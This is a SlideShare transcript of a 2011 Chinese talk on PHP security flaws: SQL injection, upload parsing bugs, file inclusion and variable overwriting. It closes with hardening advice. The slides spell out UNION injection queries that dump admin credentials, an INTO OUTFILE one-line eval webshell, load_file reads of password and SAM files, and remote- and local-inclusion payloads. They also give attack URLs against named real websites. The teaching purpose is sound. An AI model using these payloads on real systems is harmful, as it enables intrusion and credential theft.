SlideShare a Scribd company logo
1 of 22
PHP应用程序常见安全问题解析


       Mason @ Tech Club
             2011-08-28




                     http://www.tech-club.org
概要

        SQL 注入攻击不防范
        文件上传不目录解析
        文件包含不截断
        变量覆盖问题
        PHP安全策略


2   http://www.tech-club.org
SQL 注入攻击不防范
     概念与原理
        通过修改传递的参数,执行恶意的数据库语句。




3   http://www.tech-club.org
SQL 注入攻击不防范
         PHP+MYSQL注入的一般攻击流程
         半分法猜解字段数量
            order by 3
         生成union查询语句
             and 0 union select 1,2,3
         获取数据库
             and 0 union select 1,SCHEMA_NAME,3 from information_schema.SCHEMATA
         获取表名
             and 0 union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA = 0x00
         获取字段名
           and 0 union select 1,COLUMN_NAME,3, from information_schema.COLUMNS where TABLE_NAME
         =0x00


         接下来?假设猜解出来的表名为admin字段分别为username和password
         and 0 union select 1,username,password,3,4,5,6 from admin




4   http://www.tech-club.org
SQL注入攻击不防范
    Demo




5   http://www.tech-club.org
SQL注入攻击不防范
      如果具备以下条件:

      1、知道站点物理路径
      2、有足够大的权限(ROOT)
      3、magic_quotes_gpc()=OFF
      便可直接写入文件
      select ‘<?php eval($_POST[cmd])?>’ into outfile
      ‘物理路径' 或
      and 1=2 union all select 一句话HEX值 into outfile ‘路
      径'




6   http://www.tech-club.org
SQL 注入攻击与防范
      load_file 的危害
        linux
        /usr/local/apache2/conf/httpd.conf//读取网站配置文件
        /etc/sysconfig/iptables //从中得到防火墙规则策略
        /etc/rsyncd.conf //同步程序配置文件
        /etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
        /etc/my.cnf //mysql的配置文件
        /etc/redhat-release //系统版本
        win
        c:mysqldatamysqluser.MYD //存储了数据库用户密码
        c:Program FilesServ-UServUDaemon.ini //Server U配置信息
        c:windowsmy.ini //MYSQL配置文件
        c:windowssystem32inetsrvMetaBase.xml //IIS配置文件
        c:windowsrepairsam //SAM文件
        bsd
        解析BSD脚本
        http://www.vtion.com.cn/app/product/pro_test?id=162/**/AND/**/1=2/**/U
        nion/**/SElect/**/1,load_file%28%27/%27%29,3,4,5,6,7,8%23


7   http://www.tech-club.org
SQL注入攻击不防范
    影响字符串转义相关配置
     magic_quotes_gpc
     影响到 HTTP 请求数据(GET,POST 和 COOKIE)。不能在运行时改变。在 PHP 中默认值为 on。

     magic_quotes_runtime
     如果打开的话,大部份从外部来源取得数据并返回的函数,包括从数据库和文本文件,所返回的数据都会
     被反斜线转义。该选项可在运行的时改变,在 PHP 中的默认值为 off。

     magic_quotes_sybase
     如果打开的话,将会使用单引号对单引号进行转义而非反斜线。此选项会完全覆盖 magic_quotes_gpc。如
     果同时打开两个选项的话,单引号将会被转义成 ”。而双引号、反斜线 和 NULL 字符将不会进行转义


     虽然方便的实现了对特殊符号的自动转义,但是这样会使得程序效率降低,并导致程序可移植变得麻烦。
     在不知道服务器ini设置的情况下,还需要调用get_magic_quotes_gpc() ,get_magic_quotes_runtime() 或
     ini_get()来检测状态。




8   http://www.tech-club.org
SQL注入攻击不防范
    开启了GPC是否就可高枕无忧?
     if(!get_magic_quotes_gpc())
     {
       $_GET = daddslashes($_GET);
       $_POST = daddslashes($_POST);
       $_COOKIE = daddslashes($_COOKIE);
     }

     function daddslashes($string, $force = 1)
     {
       if(is_array($string)) {
         foreach($string as $key => $val) {
            $string[$key] = daddslashes($val, $force);
         }
        } else {
            $string = addslashes($string);
       }
       return $string;
     }


    注意键值的过滤 - http://sebug.net/exploit/19574/


9   http://www.tech-club.org
SQL注入攻击与防范
        X-Forwarded-For伪造
         在PHP5中$_SERVER变量和通过getenv()获取的
         变量 没有 magic_quotes_gpc 的保护
         因而可以通过伪造X-Forwarded-For来通过服务端
         对单引号的过滤,从而达到注入等目的

         http://hi.baidu.com/vi0lentangel/blog/item/930af91ab012c90c4034173d.html



       $HTTP_RAW_POST_DATA与PHP输入、输出流

        主要应用与soap/xmlrpc/webpublish功能里




10   http://www.tech-club.org
SQL注入攻击不防范
      注意解码函数的使用

      urldecode - 解码已编码的 URL 字符串
      rawurldecode - 对已编码的 URL 字符串进行解码
      base64_decode -对使用 MIME base64 编码的数据进行解码

      从用户输入中获取编码后的字符
      在程序中进行解码时,是否有考虑到应用程序的安全?
      http://localhost/Destoon/wap/index.php?moduleid=5&kw=a%2525%2527%09and%09a
      scii(substring((SELECT%09username |
      password%09FROM%09destoon_member%09WHERE%09userid=1),1,1))=0x61%23




11   http://www.tech-club.org
SQL注入攻击不防范
       多字符集编码问题
       php 使用php_escape_shell_cmd这个函数来转义命令行字符串时是作为单字节处
       理的
       而当操作系统设置了GBK、EUC-KR、SJIS等宽字节字符集时候,将这些命令行字
       符串传递给MySQL处理时是作为多字节处理的

       //当GPC=ON
       http://localhost/demo/index.php?username=admin’
       http://localhost/demo/index.php?username=admin%df%27

       //设置客户端字符集为二进制
       mysql_query("SET character_set_connection=gbk, character_set_results=gbk,
       character_set_client=binary", $conn);




12   http://www.tech-club.org
文件上传不目录解析
     IIS6目录解析漏洞
     aaa.php/1.jpg

     Apache 文件解析漏洞
     aaa.php.zzz

     nginx文件类型错误解析问题
     http://www.80sec.com/nginx-securit.html
     http://app.travel.ifeng.com/upload/line/2011/03/24/1300948493ce8b.jpg/a.php

     这就意味着,可以通过上传图片,在图片中添加可执行代码来获取服务器权限。
     这对于一个网站来说,是极为可怕的。




13   http://www.tech-club.org
文件上传不目录解析
        如何防范?

        客户端+服务端的验证;
        替换要创建目录中的”. ”;
        重命名上传的文件;
        采用可上传文件后缀白名单机制;
        审核用户上传的文件
        正确的配置文件解析
            修改php.ini将cgi.fix_pathinfo设为0 执行php/sbin/php-fpm restart重启。




14   http://www.tech-club.org
文件包含不截断
      基本的远程文件包含

          <?php include($_GET['file']); ?>

      包含远程代码                    ?file=http[https][ftp]://www.ab.com/aaa.txt
      包含 PHP流                   ?file=php://input:
      包含 data URIs              ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=

      远程包含需要: allow_url_include=On,所以关闭它可以减低一定的风险
      当然同时程序上一样需要进行相应过滤和限制.




15   http://www.tech-club.org
文件包含不截断

       本地包含不截断

       <?php include("includes/" . $_GET['file']).”.php”; ?>


         GPC=OFF 下空字符截断
          //?file=aaa.jpg%00

         操作系统对文件名的长度限制来截断
         //?file=aaa.jpg/////// (/的数量大于4096)




16   http://www.tech-club.org
文件包含不截断
        如何防范?

         对空字符进行转义

         过滤”/”,将需包含的文件放到用户丌可达的目录

         包含是一个非常危险函数,因此在项目审核中必须对
         其逻辑和过滤再次审核.

         涉及到的函数〔include(),require()和include_once(),require_once()〕




17   http://www.tech-club.org
变量覆盖问题
        可能引起变量覆盖的情况

        各种循环;
        register_globals = on时;
        extract()这个函数在参数为EXTR_OVERWRITE;
        parse_str();
        mb_parse_str();
        import_request_variables();

        DedeCMS v5.6-5.7 越权访问漏洞

        http://sebug.net/vulndb/20859/



18   http://www.tech-club.org
PHP安全策略


           1.安全是没有绝对的
           2.任何的用户输入都是有害的
           3.使用开源程序的风险




19   http://www.tech-club.org
PHP安全策略
       WEB服务器安全配置
         magic_quotes_gpc=on
         magic_quotes_runtime=off
         magic_quotes_sybase=off
         allow_url_include=off
         register_globals=off
         display_error=off

              建议开启safe_mode

              网站目录的最小权限配置
              数据库用户最小权限配置
              WEB不数据库分离
20   http://www.tech-club.org
PHP安全策略

      应用程序安全策略
          丌要信任服务器的配置

          过滤的用户输入

          关闭错误报告

          审核你的应用程序




21   http://www.tech-club.org
That’s All,Thx!
        Mason [Tech Club] At 2011-08-28
        QQ:31972184, E-mail:Mason@V5Script.ORG
        http://www.weibo.com/phpext




22   http://www.tech-club.org

More Related Content

What's hot

滲透測試 Talk @ Nisra
滲透測試 Talk @ Nisra滲透測試 Talk @ Nisra
滲透測試 Talk @ NisraOrange Tsai
 
網頁安全 Web security 入門 @ Study-Area
網頁安全 Web security 入門 @ Study-Area網頁安全 Web security 入門 @ Study-Area
網頁安全 Web security 入門 @ Study-AreaOrange Tsai
 
Nginx+常见应用技术指南
Nginx+常见应用技术指南Nginx+常见应用技术指南
Nginx+常见应用技术指南andy54321
 
安博士Asec 2010年3月安全报告
安博士Asec 2010年3月安全报告安博士Asec 2010年3月安全报告
安博士Asec 2010年3月安全报告ahnlabchina
 
Installation and configuration 11g r2 asm using job role separation(grid & or...
Installation and configuration 11g r2 asm using job role separation(grid & or...Installation and configuration 11g r2 asm using job role separation(grid & or...
Installation and configuration 11g r2 asm using job role separation(grid & or...Zhaoyang Wang
 
OWASP Top 10 (2013) 正體中文版
OWASP Top 10 (2013) 正體中文版OWASP Top 10 (2013) 正體中文版
OWASP Top 10 (2013) 正體中文版Bruce Chen
 
WEB 安全基础
WEB 安全基础WEB 安全基础
WEB 安全基础xki
 
Oracle enterprise manager cloud control 12c release 5 installation on oracle ...
Oracle enterprise manager cloud control 12c release 5 installation on oracle ...Oracle enterprise manager cloud control 12c release 5 installation on oracle ...
Oracle enterprise manager cloud control 12c release 5 installation on oracle ...Zhaoyang Wang
 
[xKungFoo2012]Web Service Hack
[xKungFoo2012]Web Service Hack[xKungFoo2012]Web Service Hack
[xKungFoo2012]Web Service Hackpnig0s pnig0s
 
網站系統安全及資料保護設計認知
網站系統安全及資料保護設計認知網站系統安全及資料保護設計認知
網站系統安全及資料保護設計認知Justin Lin
 
WebConf 2013「Best Practices - The Upload」
WebConf 2013「Best Practices - The Upload」WebConf 2013「Best Practices - The Upload」
WebConf 2013「Best Practices - The Upload」Orange Tsai
 
6kbbs vulnerability report
6kbbs vulnerability report6kbbs vulnerability report
6kbbs vulnerability reportinsight-labs
 
高性能网站最佳实践
高性能网站最佳实践高性能网站最佳实践
高性能网站最佳实践longhao
 
網站系統安全及資料保護設計認知 2019
網站系統安全及資料保護設計認知 2019網站系統安全及資料保護設計認知 2019
網站系統安全及資料保護設計認知 2019Justin Lin
 
hicloud PaaS雲創平台(Java/PHP介紹)
hicloud PaaS雲創平台(Java/PHP介紹)hicloud PaaS雲創平台(Java/PHP介紹)
hicloud PaaS雲創平台(Java/PHP介紹)hicloud-paas
 
康盛创想项目部Linux 服务器部署标准(最新版)
康盛创想项目部Linux 服务器部署标准(最新版)康盛创想项目部Linux 服务器部署标准(最新版)
康盛创想项目部Linux 服务器部署标准(最新版)Yiwei Ma
 
伺服器端攻擊與防禦I
伺服器端攻擊與防禦I伺服器端攻擊與防禦I
伺服器端攻擊與防禦ITaien Wang
 
Windows 10 install mysql 8.0.16
Windows 10 install mysql 8.0.16Windows 10 install mysql 8.0.16
Windows 10 install mysql 8.0.16songwenxuan2020
 
議題二:Web應用程式安全防護
議題二:Web應用程式安全防護議題二:Web應用程式安全防護
議題二:Web應用程式安全防護Nicolas su
 
20150528联动技术大讲堂15(刘胜)业务系统上线标准指引
20150528联动技术大讲堂15(刘胜)业务系统上线标准指引20150528联动技术大讲堂15(刘胜)业务系统上线标准指引
20150528联动技术大讲堂15(刘胜)业务系统上线标准指引liu sheng
 

What's hot (20)

滲透測試 Talk @ Nisra
滲透測試 Talk @ Nisra滲透測試 Talk @ Nisra
滲透測試 Talk @ Nisra
 
網頁安全 Web security 入門 @ Study-Area
網頁安全 Web security 入門 @ Study-Area網頁安全 Web security 入門 @ Study-Area
網頁安全 Web security 入門 @ Study-Area
 
Nginx+常见应用技术指南
Nginx+常见应用技术指南Nginx+常见应用技术指南
Nginx+常见应用技术指南
 
安博士Asec 2010年3月安全报告
安博士Asec 2010年3月安全报告安博士Asec 2010年3月安全报告
安博士Asec 2010年3月安全报告
 
Installation and configuration 11g r2 asm using job role separation(grid & or...
Installation and configuration 11g r2 asm using job role separation(grid & or...Installation and configuration 11g r2 asm using job role separation(grid & or...
Installation and configuration 11g r2 asm using job role separation(grid & or...
 
OWASP Top 10 (2013) 正體中文版
OWASP Top 10 (2013) 正體中文版OWASP Top 10 (2013) 正體中文版
OWASP Top 10 (2013) 正體中文版
 
WEB 安全基础
WEB 安全基础WEB 安全基础
WEB 安全基础
 
Oracle enterprise manager cloud control 12c release 5 installation on oracle ...
Oracle enterprise manager cloud control 12c release 5 installation on oracle ...Oracle enterprise manager cloud control 12c release 5 installation on oracle ...
Oracle enterprise manager cloud control 12c release 5 installation on oracle ...
 
[xKungFoo2012]Web Service Hack
[xKungFoo2012]Web Service Hack[xKungFoo2012]Web Service Hack
[xKungFoo2012]Web Service Hack
 
網站系統安全及資料保護設計認知
網站系統安全及資料保護設計認知網站系統安全及資料保護設計認知
網站系統安全及資料保護設計認知
 
WebConf 2013「Best Practices - The Upload」
WebConf 2013「Best Practices - The Upload」WebConf 2013「Best Practices - The Upload」
WebConf 2013「Best Practices - The Upload」
 
6kbbs vulnerability report
6kbbs vulnerability report6kbbs vulnerability report
6kbbs vulnerability report
 
高性能网站最佳实践
高性能网站最佳实践高性能网站最佳实践
高性能网站最佳实践
 
網站系統安全及資料保護設計認知 2019
網站系統安全及資料保護設計認知 2019網站系統安全及資料保護設計認知 2019
網站系統安全及資料保護設計認知 2019
 
hicloud PaaS雲創平台(Java/PHP介紹)
hicloud PaaS雲創平台(Java/PHP介紹)hicloud PaaS雲創平台(Java/PHP介紹)
hicloud PaaS雲創平台(Java/PHP介紹)
 
康盛创想项目部Linux 服务器部署标准(最新版)
康盛创想项目部Linux 服务器部署标准(最新版)康盛创想项目部Linux 服务器部署标准(最新版)
康盛创想项目部Linux 服务器部署标准(最新版)
 
伺服器端攻擊與防禦I
伺服器端攻擊與防禦I伺服器端攻擊與防禦I
伺服器端攻擊與防禦I
 
Windows 10 install mysql 8.0.16
Windows 10 install mysql 8.0.16Windows 10 install mysql 8.0.16
Windows 10 install mysql 8.0.16
 
議題二:Web應用程式安全防護
議題二:Web應用程式安全防護議題二:Web應用程式安全防護
議題二:Web應用程式安全防護
 
20150528联动技术大讲堂15(刘胜)业务系统上线标准指引
20150528联动技术大讲堂15(刘胜)业务系统上线标准指引20150528联动技术大讲堂15(刘胜)业务系统上线标准指引
20150528联动技术大讲堂15(刘胜)业务系统上线标准指引
 

Viewers also liked

Web开发与运维安全浅见
Web开发与运维安全浅见Web开发与运维安全浅见
Web开发与运维安全浅见mysqlops
 
基于Symfony框架下的快速企业级应用开发
基于Symfony框架下的快速企业级应用开发基于Symfony框架下的快速企业级应用开发
基于Symfony框架下的快速企业级应用开发mysqlops
 
开放平台的资源分配与多级缓存体系的优化
开放平台的资源分配与多级缓存体系的优化开放平台的资源分配与多级缓存体系的优化
开放平台的资源分配与多级缓存体系的优化mysqlops
 
Java program in_action
Java program in_actionJava program in_action
Java program in_actionmysqlops
 
百度自动化运维中的关系管理
百度自动化运维中的关系管理百度自动化运维中的关系管理
百度自动化运维中的关系管理mysqlops
 
The simplethebeautiful
The simplethebeautifulThe simplethebeautiful
The simplethebeautifulmysqlops
 

Viewers also liked (7)

Web开发与运维安全浅见
Web开发与运维安全浅见Web开发与运维安全浅见
Web开发与运维安全浅见
 
基于Symfony框架下的快速企业级应用开发
基于Symfony框架下的快速企业级应用开发基于Symfony框架下的快速企业级应用开发
基于Symfony框架下的快速企业级应用开发
 
开放平台的资源分配与多级缓存体系的优化
开放平台的资源分配与多级缓存体系的优化开放平台的资源分配与多级缓存体系的优化
开放平台的资源分配与多级缓存体系的优化
 
Java program in_action
Java program in_actionJava program in_action
Java program in_action
 
Taobao base
Taobao baseTaobao base
Taobao base
 
百度自动化运维中的关系管理
百度自动化运维中的关系管理百度自动化运维中的关系管理
百度自动化运维中的关系管理
 
The simplethebeautiful
The simplethebeautifulThe simplethebeautiful
The simplethebeautiful
 

Similar to Php应用程序常见安全问题解析

PHP Coding Standard and 50+ Programming Skills
PHP Coding Standard and 50+ Programming SkillsPHP Coding Standard and 50+ Programming Skills
PHP Coding Standard and 50+ Programming SkillsHo Kim
 
高性能LAMP程序设计
高性能LAMP程序设计高性能LAMP程序设计
高性能LAMP程序设计fuchaoqun
 
PHP & MySQL 教學
PHP & MySQL 教學PHP & MySQL 教學
PHP & MySQL 教學Bo-Yi Wu
 
Lamp高性能设计
Lamp高性能设计Lamp高性能设计
Lamp高性能设计锐 张
 
钟志 第八期Web标准化交流会
钟志 第八期Web标准化交流会钟志 第八期Web标准化交流会
钟志 第八期Web标准化交流会Zhi Zhong
 
X64服务器 lamp服务器部署标准 new
X64服务器 lamp服务器部署标准 newX64服务器 lamp服务器部署标准 new
X64服务器 lamp服务器部署标准 newYiwei Ma
 
从无阻塞并行脚本加载(Lab.js)到浏览器消息模型
从无阻塞并行脚本加载(Lab.js)到浏览器消息模型从无阻塞并行脚本加载(Lab.js)到浏览器消息模型
从无阻塞并行脚本加载(Lab.js)到浏览器消息模型Jackson Tian
 
张所勇:前端开发工具推荐
张所勇:前端开发工具推荐张所勇:前端开发工具推荐
张所勇:前端开发工具推荐zhangsuoyong
 
deep inside Sina App Engine cloud service
deep inside Sina App Engine cloud servicedeep inside Sina App Engine cloud service
deep inside Sina App Engine cloud servicecong lei
 
互联网创业服务器运维工具集
互联网创业服务器运维工具集互联网创业服务器运维工具集
互联网创业服务器运维工具集zhen chen
 
網站設計100步
網站設計100步網站設計100步
網站設計100步evercislide
 
Spring 2.x 中文
Spring 2.x 中文Spring 2.x 中文
Spring 2.x 中文Guo Albert
 
安博士Asec 2010年7月安全报告
安博士Asec 2010年7月安全报告安博士Asec 2010年7月安全报告
安博士Asec 2010年7月安全报告ahnlabchina
 
如何使用 Xhprof 分析網站效能 (真實案例2)
如何使用 Xhprof 分析網站效能 (真實案例2)如何使用 Xhprof 分析網站效能 (真實案例2)
如何使用 Xhprof 分析網站效能 (真實案例2)Cyril Wang
 
Introduction to MVC of CodeIgniter 2.1.x
Introduction to MVC of CodeIgniter 2.1.xIntroduction to MVC of CodeIgniter 2.1.x
Introduction to MVC of CodeIgniter 2.1.xBo-Yi Wu
 
OPOA in Action -- 使用MagixJS简化WebAPP开发
OPOA in Action -- 使用MagixJS简化WebAPP开发OPOA in Action -- 使用MagixJS简化WebAPP开发
OPOA in Action -- 使用MagixJS简化WebAPP开发leneli
 
配置Oracle 10g 双向流复制
配置Oracle 10g 双向流复制配置Oracle 10g 双向流复制
配置Oracle 10g 双向流复制maclean liu
 
利用Signalr打造即時通訊@Tech day geek
利用Signalr打造即時通訊@Tech day geek利用Signalr打造即時通訊@Tech day geek
利用Signalr打造即時通訊@Tech day geekJohnson Gau
 

Similar to Php应用程序常见安全问题解析 (20)

PHP Coding Standard and 50+ Programming Skills
PHP Coding Standard and 50+ Programming SkillsPHP Coding Standard and 50+ Programming Skills
PHP Coding Standard and 50+ Programming Skills
 
高性能LAMP程序设计
高性能LAMP程序设计高性能LAMP程序设计
高性能LAMP程序设计
 
PHP & MySQL 教學
PHP & MySQL 教學PHP & MySQL 教學
PHP & MySQL 教學
 
Lamp高性能设计
Lamp高性能设计Lamp高性能设计
Lamp高性能设计
 
钟志 第八期Web标准化交流会
钟志 第八期Web标准化交流会钟志 第八期Web标准化交流会
钟志 第八期Web标准化交流会
 
X64服务器 lamp服务器部署标准 new
X64服务器 lamp服务器部署标准 newX64服务器 lamp服务器部署标准 new
X64服务器 lamp服务器部署标准 new
 
从无阻塞并行脚本加载(Lab.js)到浏览器消息模型
从无阻塞并行脚本加载(Lab.js)到浏览器消息模型从无阻塞并行脚本加载(Lab.js)到浏览器消息模型
从无阻塞并行脚本加载(Lab.js)到浏览器消息模型
 
张所勇:前端开发工具推荐
张所勇:前端开发工具推荐张所勇:前端开发工具推荐
张所勇:前端开发工具推荐
 
deep inside Sina App Engine cloud service
deep inside Sina App Engine cloud servicedeep inside Sina App Engine cloud service
deep inside Sina App Engine cloud service
 
Sae
SaeSae
Sae
 
互联网创业服务器运维工具集
互联网创业服务器运维工具集互联网创业服务器运维工具集
互联网创业服务器运维工具集
 
網站設計100步
網站設計100步網站設計100步
網站設計100步
 
Spring 2.x 中文
Spring 2.x 中文Spring 2.x 中文
Spring 2.x 中文
 
安博士Asec 2010年7月安全报告
安博士Asec 2010年7月安全报告安博士Asec 2010年7月安全报告
安博士Asec 2010年7月安全报告
 
如何使用 Xhprof 分析網站效能 (真實案例2)
如何使用 Xhprof 分析網站效能 (真實案例2)如何使用 Xhprof 分析網站效能 (真實案例2)
如何使用 Xhprof 分析網站效能 (真實案例2)
 
Introduction to MVC of CodeIgniter 2.1.x
Introduction to MVC of CodeIgniter 2.1.xIntroduction to MVC of CodeIgniter 2.1.x
Introduction to MVC of CodeIgniter 2.1.x
 
OPOA in Action -- 使用MagixJS简化WebAPP开发
OPOA in Action -- 使用MagixJS简化WebAPP开发OPOA in Action -- 使用MagixJS简化WebAPP开发
OPOA in Action -- 使用MagixJS简化WebAPP开发
 
Hadoop ecosystem
Hadoop ecosystemHadoop ecosystem
Hadoop ecosystem
 
配置Oracle 10g 双向流复制
配置Oracle 10g 双向流复制配置Oracle 10g 双向流复制
配置Oracle 10g 双向流复制
 
利用Signalr打造即時通訊@Tech day geek
利用Signalr打造即時通訊@Tech day geek利用Signalr打造即時通訊@Tech day geek
利用Signalr打造即時通訊@Tech day geek
 

More from mysqlops

Oracle数据库分析函数详解
Oracle数据库分析函数详解Oracle数据库分析函数详解
Oracle数据库分析函数详解mysqlops
 
Percona Live 2012PPT:mysql-security-privileges-and-user-management
Percona Live 2012PPT:mysql-security-privileges-and-user-managementPercona Live 2012PPT:mysql-security-privileges-and-user-management
Percona Live 2012PPT:mysql-security-privileges-and-user-managementmysqlops
 
Percona Live 2012PPT: introduction-to-mysql-replication
Percona Live 2012PPT: introduction-to-mysql-replicationPercona Live 2012PPT: introduction-to-mysql-replication
Percona Live 2012PPT: introduction-to-mysql-replicationmysqlops
 
Percona Live 2012PPT: MySQL Cluster And NDB Cluster
Percona Live 2012PPT: MySQL Cluster And NDB ClusterPercona Live 2012PPT: MySQL Cluster And NDB Cluster
Percona Live 2012PPT: MySQL Cluster And NDB Clustermysqlops
 
Percona Live 2012PPT: MySQL Query optimization
Percona Live 2012PPT: MySQL Query optimizationPercona Live 2012PPT: MySQL Query optimization
Percona Live 2012PPT: MySQL Query optimizationmysqlops
 
Pldc2012 innodb architecture and internals
Pldc2012 innodb architecture and internalsPldc2012 innodb architecture and internals
Pldc2012 innodb architecture and internalsmysqlops
 
DBA新人的述职报告
DBA新人的述职报告DBA新人的述职报告
DBA新人的述职报告mysqlops
 
分布式爬虫
分布式爬虫分布式爬虫
分布式爬虫mysqlops
 
MySQL应用优化实践
MySQL应用优化实践MySQL应用优化实践
MySQL应用优化实践mysqlops
 
eBay EDW元数据管理及应用
eBay EDW元数据管理及应用eBay EDW元数据管理及应用
eBay EDW元数据管理及应用mysqlops
 
基于协程的网络开发框架的设计与实现
基于协程的网络开发框架的设计与实现基于协程的网络开发框架的设计与实现
基于协程的网络开发框架的设计与实现mysqlops
 
eBay基于Hadoop平台的用户邮件数据分析
eBay基于Hadoop平台的用户邮件数据分析eBay基于Hadoop平台的用户邮件数据分析
eBay基于Hadoop平台的用户邮件数据分析mysqlops
 
对MySQL DBA的一些思考
对MySQL DBA的一些思考对MySQL DBA的一些思考
对MySQL DBA的一些思考mysqlops
 
QQ聊天系统后台架构的演化与启示
QQ聊天系统后台架构的演化与启示QQ聊天系统后台架构的演化与启示
QQ聊天系统后台架构的演化与启示mysqlops
 
腾讯即时聊天IM1.4亿在线背后的故事
腾讯即时聊天IM1.4亿在线背后的故事腾讯即时聊天IM1.4亿在线背后的故事
腾讯即时聊天IM1.4亿在线背后的故事mysqlops
 
分布式存储与TDDL
分布式存储与TDDL分布式存储与TDDL
分布式存储与TDDLmysqlops
 
MySQL数据库生产环境维护
MySQL数据库生产环境维护MySQL数据库生产环境维护
MySQL数据库生产环境维护mysqlops
 
MySQL数据库开发的三十六条军规
MySQL数据库开发的三十六条军规MySQL数据库开发的三十六条军规
MySQL数据库开发的三十六条军规mysqlops
 

More from mysqlops (20)

Oracle数据库分析函数详解
Oracle数据库分析函数详解Oracle数据库分析函数详解
Oracle数据库分析函数详解
 
Percona Live 2012PPT:mysql-security-privileges-and-user-management
Percona Live 2012PPT:mysql-security-privileges-and-user-managementPercona Live 2012PPT:mysql-security-privileges-and-user-management
Percona Live 2012PPT:mysql-security-privileges-and-user-management
 
Percona Live 2012PPT: introduction-to-mysql-replication
Percona Live 2012PPT: introduction-to-mysql-replicationPercona Live 2012PPT: introduction-to-mysql-replication
Percona Live 2012PPT: introduction-to-mysql-replication
 
Percona Live 2012PPT: MySQL Cluster And NDB Cluster
Percona Live 2012PPT: MySQL Cluster And NDB ClusterPercona Live 2012PPT: MySQL Cluster And NDB Cluster
Percona Live 2012PPT: MySQL Cluster And NDB Cluster
 
Percona Live 2012PPT: MySQL Query optimization
Percona Live 2012PPT: MySQL Query optimizationPercona Live 2012PPT: MySQL Query optimization
Percona Live 2012PPT: MySQL Query optimization
 
Pldc2012 innodb architecture and internals
Pldc2012 innodb architecture and internalsPldc2012 innodb architecture and internals
Pldc2012 innodb architecture and internals
 
DBA新人的述职报告
DBA新人的述职报告DBA新人的述职报告
DBA新人的述职报告
 
分布式爬虫
分布式爬虫分布式爬虫
分布式爬虫
 
MySQL应用优化实践
MySQL应用优化实践MySQL应用优化实践
MySQL应用优化实践
 
eBay EDW元数据管理及应用
eBay EDW元数据管理及应用eBay EDW元数据管理及应用
eBay EDW元数据管理及应用
 
基于协程的网络开发框架的设计与实现
基于协程的网络开发框架的设计与实现基于协程的网络开发框架的设计与实现
基于协程的网络开发框架的设计与实现
 
eBay基于Hadoop平台的用户邮件数据分析
eBay基于Hadoop平台的用户邮件数据分析eBay基于Hadoop平台的用户邮件数据分析
eBay基于Hadoop平台的用户邮件数据分析
 
对MySQL DBA的一些思考
对MySQL DBA的一些思考对MySQL DBA的一些思考
对MySQL DBA的一些思考
 
QQ聊天系统后台架构的演化与启示
QQ聊天系统后台架构的演化与启示QQ聊天系统后台架构的演化与启示
QQ聊天系统后台架构的演化与启示
 
腾讯即时聊天IM1.4亿在线背后的故事
腾讯即时聊天IM1.4亿在线背后的故事腾讯即时聊天IM1.4亿在线背后的故事
腾讯即时聊天IM1.4亿在线背后的故事
 
分布式存储与TDDL
分布式存储与TDDL分布式存储与TDDL
分布式存储与TDDL
 
MySQL数据库生产环境维护
MySQL数据库生产环境维护MySQL数据库生产环境维护
MySQL数据库生产环境维护
 
Memcached
MemcachedMemcached
Memcached
 
DevOPS
DevOPSDevOPS
DevOPS
 
MySQL数据库开发的三十六条军规
MySQL数据库开发的三十六条军规MySQL数据库开发的三十六条军规
MySQL数据库开发的三十六条军规
 

Php应用程序常见安全问题解析

  • 1. PHP应用程序常见安全问题解析 Mason @ Tech Club 2011-08-28 http://www.tech-club.org
  • 2. 概要 SQL 注入攻击不防范 文件上传不目录解析 文件包含不截断 变量覆盖问题 PHP安全策略 2 http://www.tech-club.org
  • 3. SQL 注入攻击不防范 概念与原理 通过修改传递的参数,执行恶意的数据库语句。 3 http://www.tech-club.org
  • 4. SQL 注入攻击不防范 PHP+MYSQL注入的一般攻击流程 半分法猜解字段数量 order by 3 生成union查询语句 and 0 union select 1,2,3 获取数据库 and 0 union select 1,SCHEMA_NAME,3 from information_schema.SCHEMATA 获取表名 and 0 union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA = 0x00 获取字段名 and 0 union select 1,COLUMN_NAME,3, from information_schema.COLUMNS where TABLE_NAME =0x00 接下来?假设猜解出来的表名为admin字段分别为username和password and 0 union select 1,username,password,3,4,5,6 from admin 4 http://www.tech-club.org
  • 5. SQL注入攻击不防范 Demo 5 http://www.tech-club.org
  • 6. SQL注入攻击不防范 如果具备以下条件: 1、知道站点物理路径 2、有足够大的权限(ROOT) 3、magic_quotes_gpc()=OFF 便可直接写入文件 select ‘<?php eval($_POST[cmd])?>’ into outfile ‘物理路径' 或 and 1=2 union all select 一句话HEX值 into outfile ‘路 径' 6 http://www.tech-club.org
  • 7. SQL 注入攻击与防范 load_file 的危害 linux /usr/local/apache2/conf/httpd.conf//读取网站配置文件 /etc/sysconfig/iptables //从中得到防火墙规则策略 /etc/rsyncd.conf //同步程序配置文件 /etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP. /etc/my.cnf //mysql的配置文件 /etc/redhat-release //系统版本 win c:mysqldatamysqluser.MYD //存储了数据库用户密码 c:Program FilesServ-UServUDaemon.ini //Server U配置信息 c:windowsmy.ini //MYSQL配置文件 c:windowssystem32inetsrvMetaBase.xml //IIS配置文件 c:windowsrepairsam //SAM文件 bsd 解析BSD脚本 http://www.vtion.com.cn/app/product/pro_test?id=162/**/AND/**/1=2/**/U nion/**/SElect/**/1,load_file%28%27/%27%29,3,4,5,6,7,8%23 7 http://www.tech-club.org
  • 8. SQL注入攻击不防范 影响字符串转义相关配置 magic_quotes_gpc 影响到 HTTP 请求数据(GET,POST 和 COOKIE)。不能在运行时改变。在 PHP 中默认值为 on。 magic_quotes_runtime 如果打开的话,大部份从外部来源取得数据并返回的函数,包括从数据库和文本文件,所返回的数据都会 被反斜线转义。该选项可在运行的时改变,在 PHP 中的默认值为 off。 magic_quotes_sybase 如果打开的话,将会使用单引号对单引号进行转义而非反斜线。此选项会完全覆盖 magic_quotes_gpc。如 果同时打开两个选项的话,单引号将会被转义成 ”。而双引号、反斜线 和 NULL 字符将不会进行转义 虽然方便的实现了对特殊符号的自动转义,但是这样会使得程序效率降低,并导致程序可移植变得麻烦。 在不知道服务器ini设置的情况下,还需要调用get_magic_quotes_gpc() ,get_magic_quotes_runtime() 或 ini_get()来检测状态。 8 http://www.tech-club.org
